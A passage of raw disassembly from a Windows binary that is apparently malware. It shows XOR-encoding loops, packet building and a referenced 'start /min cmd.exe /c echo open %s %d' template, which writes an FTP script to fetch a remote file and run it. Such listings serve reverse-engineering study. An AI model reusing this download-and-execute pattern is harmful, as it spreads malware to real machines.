ch mov cx, [esp+2Eh] mov [eax+ebp+2], cl mov [eax+ebp+3], ch mov eax, [esp+38h] test eax, eax jz short loc_435EFC push ebx push ebp call eax add esp, 8 loc_435EFC: ; CODE XREF: ___:00435EF3j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_435F3E: ; CODE XREF: ___:00435FB7j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_435F7E push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_435F7E push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_435F7E push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_435FB9 loc_435F7E: ; CODE XREF: ___:00435F4Cj ; ___:00435F5Cj ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_435FB0 loc_435FA3: ; CODE XREF: ___:00435FAEj mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_435FA3 loc_435FB0: ; CODE XREF: ___:00435FA1j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_435F3E ; --------------------------------------------------------------------------- loc_435FB9: ; CODE XREF: ___:00435F7Cj mov eax, [esp+28h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi push ebp call esi add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_4360A0: ; CODE XREF: ___:00401D61j push ecx push ebx push ebp push esi push edi mov edi, [esp+28h] or ecx, 0FFFFFFFFh xor eax, eax mov dword ptr [esp+10h], 98h repne scasb mov eax, [esp+1Ch] not ecx dec ecx lea ebx, [ecx+eax+1] push ebx nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_446BC7+1) mov edi, edx add esp, 8 rep movsd mov esi, [esp+28h] or ecx, 0FFFFFFFFh mov edi, esi mov [esp+18h], edx repne scasb mov edx, [esp+1Ch] not ecx mov eax, ecx lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2Ch] and ecx, 3 test eax, eax rep movsb jz short loc_436152 push ebx push ebp call eax add esp, 8 loc_436152: ; CODE XREF: ___:00436149j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+18h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_436194: ; CODE XREF: ___:0043620Dj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4361D4 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4361D4 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4361D4 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_43620F loc_4361D4: ; CODE XREF: ___:004361A2j ; ___:004361B2j ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_436206 loc_4361F9: ; CODE XREF: ___:00436204j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4361F9 loc_436206: ; CODE XREF: ___:004361F7j mov edx, [esp+18h] mov [edx+13h], cl jmp short loc_436194 ; --------------------------------------------------------------------------- loc_43620F: ; CODE XREF: ___:004361D2j mov eax, [esp+28h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+1Ch] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+1Ch] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi push ebp call esi add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_436300: ; CODE XREF: ___:00401FE1j mov eax, 200Ch call sub_436840 mov eax, [esp+2028h] mov ecx, [esp+202Ch] push ebx mov edx, [esp+2028h] push ebp push esi push edi push eax push eax mov eax, [esp+2048h] push eax mov eax, [esp+203Ch] push ecx push edx push eax lea ecx, [esp+34h] push offset aStartMinCmd_ex ; "start /min cmd.exe /c \"echo open %s %d "... push ecx mov dword ptr [esp+34h], 98h nop call near ptr byte_5EA1BD lea edi, [esp+3Ch] or ecx, 0FFFFFFFFh xor eax, eax mov edx, [esp+2044h] repne scasb not ecx dec ecx lea ebx, [ecx+edx+1] push ebx nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+2044h] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_446BC7+1) mov edi, edx add esp, 28h rep movsd lea edi, [esp+1Ch] or ecx, 0FFFFFFFFh repne scasb mov [esp+10h], edx mov edx, [esp+2024h] not ecx mov eax, ecx lea esi, [esp+1Ch] lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2044h] and ecx, 3 test eax, eax rep movsb jz short loc_436402 push ebx push ebp call eax add esp, 8 loc_436402: ; CODE XREF: ___:004363F9j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_436444: ; CODE XREF: ___:004364BDj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_436484 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_436484 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_436484 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4364BF loc_436484: ; CODE XREF: ___:00436452j ; ___:00436462j ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+14h] inc ecx test ebx, ebx mov [esp+14h], ecx jle short loc_4364B6 loc_4364A9: ; CODE XREF: ___:004364B4j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4364A9 loc_4364B6: ; CODE XREF: ___:004364A7j mov edx, [esp+10h] mov [edx+13h], cl jmp short loc_436444 ; --------------------------------------------------------------------------- loc_4364BF: ; CODE XREF: ___:00436482j mov eax, [esp+18h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+2030h] mov edx, [esp+202Ch] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+14h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+14h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi push ebp call esi add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx add esp, 200Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_4365C0: ; CODE XREF: ___:00401910j push ecx push ebx mov ebx, [esp+10h] push ebp push esi push edi push ebx mov dword ptr [esp+14h], 98h nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+30h] add esp, 8 mov ecx, 6 mov esi, (offset loc_446BC7+1) mov edi, edx mov [esp+1Ch], edx test eax, eax rep movsd jz short loc_43663D push ebx push ebp call eax add esp, 8 loc_43663D: ; CODE XREF: ___:00436634j push ebx call near ptr 77C2C407h nop mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_43667F: ; CODE XREF: ___:004366F8j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4366BF push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4366BF push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4366BF push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4366FA loc_4366BF: ; CODE XREF: ___:0043668Dj ; ___:0043669Dj ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4366F1 loc_4366E4: ; CODE XREF: ___:004366EFj mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4366E4 loc_4366F1: ; CODE XREF: ___:004366E2j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_43667F ; --------------------------------------------------------------------------- loc_4366FA: ; CODE XREF: ___:004366BDj mov eax, [esp+18h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi push ebp call esi add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 68h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4367C8 proc near ; CODE XREF: SEH_4034E0+5j ; SEH_4036D0+5j ... nop jmp near ptr 77C227FAh sub_4367C8 endp ; --------------------------------------------------------------------------- align 10h byte_4367D0 db 90h ; DATA XREF: ___:off_43E004o ; ___:0043E018o ... db 0E9h, 37h, 0F7h dd 0E990777Fh, 777E573Ch, 7F2BE6E9h db 77h, 6Fh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4367E2 proc near ; CODE XREF: ___:00406BE0p ; sub_406C00+11p ... nop jmp near ptr 77C29CDDh sub_4367E2 endp ; --------------------------------------------------------------------------- dd 8112A3E9h, 0E9901377h, 7781146Ch, 14EBE990h db 81h, 77h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4367FA proc near ; CODE XREF: sub_406C30+47p ; ___:00406CCAp ... nop jmp near ptr 77C29CC5h sub_4367FA endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0E1h, 0ACh ; --------------------------------------------------------------------------- jle short loc_43687D mov eax, ecx mov dword ptr [eax], offset off_43E1D4 retn 4 ; --------------------------------------------------------------------------- loc_436811: ; DATA XREF: ___:off_43E1D4o push esi mov esi, ecx call sub_436BCC ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_436827 push esi call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx loc_436827: ; CODE XREF: ___:0043681Ej mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- mov eax, ecx retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436832 proc near ; CODE XREF: sub_409580+4Dp ; ___:0040A99Dp jmp near ptr 77C226F6h sub_436832 endp ; --------------------------------------------------------------------------- db 0F0h, 90h db 0E9h, 4Ch, 97h ; --------------------------------------------------------------------------- xor byte ptr [edi-34h], 0CCh ; =============== S U B R O U T I N E ======================================= sub_436840 proc near ; CODE XREF: sub_40A030+5p ; sub_40FF60+1Ap ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_436860 loc_43684C: ; CODE XREF: sub_436840+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_43684C loc_436860: ; CODE XREF: sub_436840+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_436840 endp ; --------------------------------------------------------------------------- align 10h dd 810DEBE9h, 0E9901677h, 777E6714h db 90h ; --------------------------------------------------------------------------- loc_43687D: ; CODE XREF: ___:00436804j jmp near ptr 77C3FA76h ; --------------------------------------------------------------------------- db 90h db 0E9h dd 778111C8h, 8035F1E9h, 0E9909A77h, 7781108Ch, 5B6DE990h dd 3D83777Fh, 50E9D4h, 0FF0C75FFh, 90042474h, 7FE54BE8h dd 68C35977h, 50E9C4h, 50E9D468h, 2474FF00h, 310E80Ch dd 0C4830000h, 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h dd 0C348D8F7h, 593DE990h, 0D9E9777Fh, 0B8778008h, 8008EAE9h ; --------------------------------------------------------------------------- ja short near ptr loc_4368E8+1 ; CODE XREF: ___:loc_4368E8j ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4368EA proc near ; CODE XREF: sub_4198C0+28p jmp near ptr 77C4FA10h sub_4368EA endp ; --------------------------------------------------------------------------- pop ebp ; =============== S U B R O U T I N E ======================================= sub_4368F0 proc near ; CODE XREF: sub_41B820+54p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_436911 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_436961 ; --------------------------------------------------------------------------- loc_436911: ; CODE XREF: sub_4368F0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_43691F: ; CODE XREF: sub_4368F0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_43691F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_43694A cmp edx, [esp+4+arg_4] ja short loc_43694A jb short loc_436952 cmp eax, [esp+4+arg_0] jbe short loc_436952 loc_43694A: ; CODE XREF: sub_4368F0+4Aj ; sub_4368F0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_436952: ; CODE XREF: sub_4368F0+52j ; sub_4368F0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_436961: ; CODE XREF: sub_4368F0+1Fj pop ebx retn 10h sub_4368F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_436970 proc near ; CODE XREF: sub_41B820+30p ; sub_41B820+3Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_436992 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4369D3 ; --------------------------------------------------------------------------- loc_436992: ; CODE XREF: sub_436970+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_4369A0: ; CODE XREF: sub_436970+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4369A0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_4369CE cmp edx, [esp+8+arg_4] ja short loc_4369CE jb short loc_4369CF cmp eax, [esp+8+arg_0] jbe short loc_4369CF loc_4369CE: ; CODE XREF: sub_436970+4Ej ; sub_436970+54j dec esi loc_4369CF: ; CODE XREF: sub_436970+56j ; sub_436970+5Cj xor edx, edx mov eax, esi loc_4369D3: ; CODE XREF: sub_436970+20j pop esi pop ebx retn 10h sub_436970 endp ; --------------------------------------------------------------------------- dd 80A0D4E9h, 0E9900777h, 7780862Ch, 1477E990h, 0E9907781h dd 7780A486h, 0A805E990h, 79E97780h, 6C7780ABh, 80A99BE9h dd 34E9D477h, 287780ADh, 8111D3E9h, 5FE9C577h, 2F7780B1h dd 84DCE990h, 0F4E97780h, 377780A3h, 569DE990h, 0E990777Fh dd 777E5B35h, 3C0E990h, 0E9907780h, 778007C2h, 887EE990h dd 0E990777Eh, 77808EEDh, 0AE20E990h, 0E9907780h, 7780398Bh dd 38B1E990h, 0E9907780h, 778126B7h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436A5C proc near ; CODE XREF: ___:0043168Cp jmp near ptr 77C3619Ch sub_436A5C endp ; --------------------------------------------------------------------------- db 9Ah, 90h, 0E9h dd 7780030Ch, 0A143E990h, 0A06C7780h, 2DABB33Ch, 5626025Ch dd 4C13B1E7h, 0A164D2h, 50000000h, 258964h, 83000000h dd 565368ECh, 0E8658957h, 5D89DB33h, 90026AFCh, 7FE8DBE8h dd 0D835977h, 50E9C4h, 0D40D83FFh, 0FF0050E9h, 8725E890h dd 0D8B777Eh, 50E8D8h, 0E1E80889h, 90777E86h, 0E8D40D8Bh dd 8890050h, 50FA1CA1h, 0A3008B00h, 50E9B8h, 12EE8h, 0F01D3900h dd 7500446Ch, 6C08680Ch, 0E8900043h, 77816B85h, 0FAE859h dd 10680000h, 68004434h, 44330Ch, 0E5E8h, 0E8D0A100h, 45890050h dd 94458D94h, 0CC35FF50h, 8D0050E8h, 8D509C45h, 8D509045h dd 9050A045h, 7E83C2E8h, 32086877h, 680044h, 0E8004430h dd 0B2h, 0A124C483h, 50FA2Ch, 7589308Bh, 223E808Ch, 89463A75h dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h dd 22D95C6h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h, 2449F7Eh dd 0B322E850h, 4589FFFCh, 0E8905098h, 778032D2h, 8BEC458Bh dd 89098B08h, 5150884Dh, 21E8h, 0C3595900h, 0FFE8658Bh dd 0E8908875h, 778032CEh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436BCC proc near ; CODE XREF: ___:00436814p jmp near ptr 77C21868h sub_436BCC endp ; --------------------------------------------------------------------------- db 53h, 0E9h, 7Ah dword_436BD4 dd 8D777FE2h, 32BCE990h, 0E9907780h, 777FC1CAh, 8301E990h dd 0E990777Eh, 77803177h, 3000068h, 6800h, 25E80001h, 59000000h dd 0E990C359h, 77816A6Dh, 0C3C3C033h, 8592E990h, 0E990777Eh dd 777E85C3h, 7FE75FE9h, 71E99277h, 0C7777FF0h, 8205E990h dd 0E9907781h, 75C6973Bh, 9819E990h, 0F3E975C6h, 0C75C5B3h dd 8843E990h, 0E99075C5h, 75C697E8h, 0B319E990h, 0E99075C4h dd 75C54BF8h, 0A55E990h, 0E99075C6h, 75C4EE84h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436C60 proc near ; CODE XREF: sub_4192C0+17Ep nop jmp near ptr 76D6AC1Dh sub_436C60 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 23A9AAAh, 9B42E990h, 0E990023Ah, 23A9D91h, 9382E990h dd 0E990023Bh, 23C937Ch, 3CA5D1E9h, 71E97102h, 88023D93h dd 936AE990h, 0E990023Eh, 23EA9C5h, 0AC47E990h, 74E9023Eh dd 0E6023EAFh, 9352E990h, 0E990023Fh, 23F9512h, 9BF6E990h dd 0E990023Fh, 2409340h, 9713E990h, 0E9900240h, 2419334h dd 9659E990h, 63E90241h, 11024198h, 429323E9h, 0E9907102h dd 243931Ch, 449317E9h, 0E9907402h, 2449E2Ah, 45930BE9h dd 25E95A02h, 3902459Ch, 45A061E9h, 0E990E802h, 24692F8h dd 3A92F3E9h, 0E9908802h, 2399A82h, 92E6E990h, 0E1E90239h dd 58023892h, 379ADAE9h, 0E990B302h, 23792D4h, 92CEE990h dd 0E9900236h, 235A142h, 9E22E990h, 6EE90235h, 5802359Ah dd 3592B7E9h, 0B1E93702h, 0E6022D92h, 9C67E990h, 0E9900234h dd 2349C2Eh, 9BC7E990h, 0E9900234h, 7C4CA385h, 4CA298E9h dd 0E990E67Ch, 2349995h, 349851E9h, 0E9903202h, 2349280h dd 339AB6E9h, 0E990E802h, 2339A03h, 980AE990h, 0E9900233h dd 2339627h, 9482E990h, 5DE90233h, 0E1023392h, 9F63E990h dd 0E9900232h, 2329E3Eh, 9C7EE990h, 0E9900232h, 232993Eh dd 981EE990h, 0E9900232h, 2329238h, 9DE3E990h, 0E9900231h dd 2319A60h, 98D7E990h, 0E9900231h, 2319537h, 31921BE9h dd 0E9903C02h, 2309CEBh, 309905E9h, 0E9907602h, 23098A4h dd 9202E990h, 0E9900230h, 22F9FD2h, 9C82E990h, 0E990022Fh dd 22F9838h, 91EAE990h, 0E990022Fh, 22E9F66h, 9D9EE990h dd 0E990022Eh, 22E9A95h, 9896E990h, 0E990022Eh, 22E91CCh dd 9304E990h, 7EE9022Dh, 0AE001B33h, 9588E990h, 0E9900246h dd 250A3D5h, 91AEE990h, 0E990024Ch, 25091A8h, 91A2E990h dd 0E990024Fh, 24E9FB0h, 4E9197E9h, 0ECE93902h, 0A1024D94h dd 4D918BE9h, 0E9908D02h, 24C9BBFh, 9928E990h, 0E990024Ch dd 24C97BEh, 4C94B4E9h, 0E990DE02h, 24697EFh, 4B9D75E9h dd 0E990B802h, 24B9933h, 9570E990h, 55E9024Bh, 0CA024B91h dd 914EE990h, 0E990024Ah, 2499148h, 0AD86E990h, 0E9900248h dd 248A9A8h, 48A6A1E9h, 35E97E02h, 4B0248A5h, 912AE990h dd 0E9900248h, 2479124h, 0A22EE990h, 0E9907C60h, 7167D059h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436EE8 proc near ; CODE XREF: ___:0042C8F1p nop jmp near ptr 71AB4FD4h sub_436EE8 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 71687585h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436EF4 proc near ; CODE XREF: sub_42C8E1+1p nop jmp near ptr 71AB2BF4h sub_436EF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436EFA proc near ; CODE XREF: sub_42CC50+E5p ; sub_42DC70+4Fp jmp near ptr 71AB615Ah sub_436EFA endp ; --------------------------------------------------------------------------- db 0E1h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F00 proc near ; CODE XREF: sub_42D1A0+9Ap ; sub_42DD50+45p ... nop jmp near ptr 71AB428Ah sub_436F00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F06 proc near ; CODE XREF: sub_42DFD0+53p ; sub_42DFD0+96p ... nop jmp near ptr 71AB9639h sub_436F06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F0C proc near nop jmp near ptr 71AC1028h sub_436F0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436F12 proc near ; CODE XREF: sub_42CE80+71p ; sub_42DA60+50p jmp near ptr 71AB2DC0h sub_436F12 endp ; --------------------------------------------------------------------------- db 0Eh dd 67BCA3E9h ; --------------------------------------------------------------------------- jno short loc_436F73 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436F1E proc near jmp near ptr 71AB88D3h sub_436F1E endp ; --------------------------------------------------------------------------- db 0BDh db 90h db 0E9h, 3Ch, 0BCh db 67h, 71h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436F2A proc near ; CODE XREF: sub_42D580+187p jmp near ptr 71AB951Eh sub_436F2A endp ; --------------------------------------------------------------------------- db 0CFh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F30 proc near nop jmp near ptr 71AB3E00h sub_436F30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436F36 proc near ; CODE XREF: sub_42C810+B1p jmp near ptr 71AB2B66h sub_436F36 endp ; --------------------------------------------------------------------------- db 9Ah ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F3C proc near ; CODE XREF: ___:0042C93Fp ; sub_42D580+152p nop jmp near ptr 71AB3B91h sub_436F3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F42 proc near nop jmp near ptr 71AB406Ah sub_436F42 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0DAh, 0D4h db 67h, 71h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436F4E proc near ; CODE XREF: sub_42C790+10p jmp near ptr 71AB664Dh sub_436F4E endp ; --------------------------------------------------------------------------- db 0D9h dd 67E16FE9h db 71h, 95h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F5A proc near ; CODE XREF: sub_4338B0+Bp nop jmp near ptr 71AB94DCh sub_436F5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436F60 proc near ; CODE XREF: sub_41A6D0+92p ; sub_41A8C0+CAp ... jmp near ptr 71AB4544h sub_436F60 endp ; --------------------------------------------------------------------------- db 4Eh, 90h, 0E9h dd 71689BE4h, 0D5A7E990h db 67h, 71h, 90h ; --------------------------------------------------------------------------- loc_436F73: ; CODE XREF: ___:00436F1Cj jmp near ptr 71AB2BC0h ; --------------------------------------------------------------------------- db 90h db 0E9h, 91h, 0BDh dd 0E9907167h, 7167BCE5h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F84 proc near nop jmp near ptr 71AB3EA1h sub_436F84 endp ; --------------------------------------------------------------------------- dw 0DAE9h dd 0DC716817h, 0D4F3E990h db 67h, 71h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F96 proc near ; CODE XREF: sub_42C810+53p ; sub_42C810+C3p nop jmp near ptr 71ABE6EBh sub_436F96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F9C proc near ; CODE XREF: sub_42DFD0+4Ap nop jmp near ptr 71AC0BDEh sub_436F9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436FA2 proc near nop jmp near ptr 71AB2A5Eh sub_436FA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436FA8 proc near ; CODE XREF: ___:0041C1B7p ; ___:0041C1CCp nop jmp near ptr 71B2578Ch sub_436FA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436FAE proc near ; CODE 